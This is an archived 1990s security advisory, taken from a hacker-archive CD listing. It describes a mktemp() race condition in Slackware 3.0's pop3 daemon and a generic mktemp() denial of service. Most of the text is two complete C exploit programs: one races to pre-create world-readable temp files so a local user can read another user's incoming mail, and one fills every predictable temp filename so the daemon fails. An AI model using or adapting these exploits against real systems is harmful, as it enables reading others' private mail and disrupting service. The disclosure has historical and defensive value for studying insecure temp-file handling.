home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_po.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  4.2 KB  |  148 lines

  1.  
  2.    As explained before in the mailx security post, there is a problem with
  3. usage of mktemp() in many programs.  This is a follow-up to that, demonstrating
  4. the generic denial of service attack and a race condition attack on linux's
  5. Slackware 3.0 pop3 mail daemon.  Refer to the original mailx post for
  6. information on the security concerns with the use of mktemp().
  7.    Linux's /usr/sbin/in.pop3d contains a mktemp() race condition, exploitable
  8. when pop client connects to the machine at the point a correct password for
  9. a user is entered.  This allows you to read the contents of the mail spool of
  10. a user when they connect with a pop client.
  11.  
  12.                    Program: pop3d (/usr/sbin/in.pop3d)
  13. Affected Operating Systems: linux - Slackware 3.0 with pop3d enabled
  14.               Requirements: account on system, target user uses pop client
  15.            Temporary Patch: disable pop3d
  16.        Security Compromise: any user with an account can read mail of a user
  17.                             using a pop client to read mail.
  18.                     Author: Dave M. (davem@cmu.edu)
  19.                   Synopsis: The predictability of mktemp() is exploited to
  20.                             create the temporary files after the filenames
  21.                             have been determined but before they are actually
  22.                             created, allowing the mail being dumped to those
  23.                             temporary files to be read by the creator of the
  24.                             files.
  25.  
  26. pop3d-exploit.c:
  27. /* This program creates temporary files used by in.pop3d (/usr/sbin/in.pop3d
  28.    under Slackware 3.0), which can then be read by the program.
  29.    This race condition is NOT always successful, it may take extreme conditions
  30.    to ensure a high probability of success.
  31.  
  32.    Dave M. (davem@cmu.edu)
  33.  */
  34.  
  35. #include <stdio.h>
  36. #include <sys/stat.h>
  37. #include <sys/types.h>
  38. #include <fcntl.h>
  39.  
  40. main(int argc, char **argv)
  41. {
  42.   int race;
  43.   int i;
  44.   char fname[80], tmpf[80];    /* hold filename */
  45.  
  46.   umask(0);
  47.  
  48.   if(argc<1)
  49.     {
  50.       printf("pop3 racer\nSyntax: %s process-id\n",argv[0]);
  51.       return -1;
  52.     }
  53.  
  54.   /* create tmp file to race creating */
  55.   strcpy(tmpf,"/tmp/pop3");
  56.   for(i=strlen(argv[1]);i<6;i++)
  57.     strcat(tmpf,"0");
  58.   strcat(tmpf,argv[1]);
  59.   tmpf[9] = 'a';
  60.  
  61.   race = creat(tmpf,S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  62.  
  63.   while(1)
  64.     {
  65.       rename(tmpf,"/tmp/pop.exploit");
  66.       if(rename("/tmp/pop.exploit",tmpf) < 0)
  67.         {
  68.           printf("race lost - file created.\n"); /* catch 1/2 the losses */
  69.           break;
  70.         }
  71.     }
  72. }
  73.  
  74.                    Program: Any with termination on mktemp() failure
  75. Affected Operating Systems: Any with predictable mktemp() return values
  76.               Requirements: write access to directory temp files written to
  77.        Security Compromise: denial of service
  78.                     Author: Dave M. (davem@cmu.edu)
  79.                   Synopsis: Many operating systems have an extremely limited
  80.                             temporary file creation algorithm, which results
  81.                             in denial of service attacks on any program that
  82.                             uses them exceedingly easy.
  83.  
  84.  
  85. deny-mktemp.c:
  86. /* This programs opens the complete set of temporary files tested with mktemp()
  87.    for a given template (with 6 X's), usually resulting in the program
  88.    terminating upon failure to find an open file.  In pop3d, this prevents a
  89.    pop client from reading their mail.
  90.  
  91.    Dave M. (davem@cmu.edu)
  92. */
  93.  
  94. #include <unistd.h>
  95. #include <stdio.h>
  96. #include <sys/types.h>
  97. #include <sys/stat.h>
  98. #include <fcntl.h>
  99.  
  100. /* template found in program's header file, minus X's */
  101. #define TEMPLATE "/tmp/pop3"
  102.  
  103. main(int argc, char **argv)
  104. {
  105.  long int i,j;
  106.  char fname[20];
  107.  
  108.  if(argc<2)
  109.    {
  110.      printf("Syntax: %s process-id\n");
  111.      return -1;
  112.    }
  113.  
  114.   j = strlen(TEMPLATE);
  115.  
  116.   strcpy(fname,TEMPLATE);
  117.   for(i=strlen(argv[1]);i<6;i++)
  118.     strcat(fname,"0");
  119.   strcat(fname,argv[1]);
  120.  
  121.  for(i=0;i<26;i++)
  122.    {
  123.      fname[j] = 'a' + i;
  124.      creat(fname,O_WRONLY | O_CREAT);
  125.    }
  126.  
  127.  for(i=0;i<26;i++)
  128.    {
  129.      fname[j] = 'A' + i;
  130.      creat(fname,O_WRONLY | O_CREAT);
  131.    }
  132.  
  133.  for(i=0;i<9;i++)
  134.    {
  135.      fname[j] = '0' + i;
  136.      creat(fname,O_WRONLY | O_CREAT);
  137.    }
  138.  
  139. }
  140.  
  141.  
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.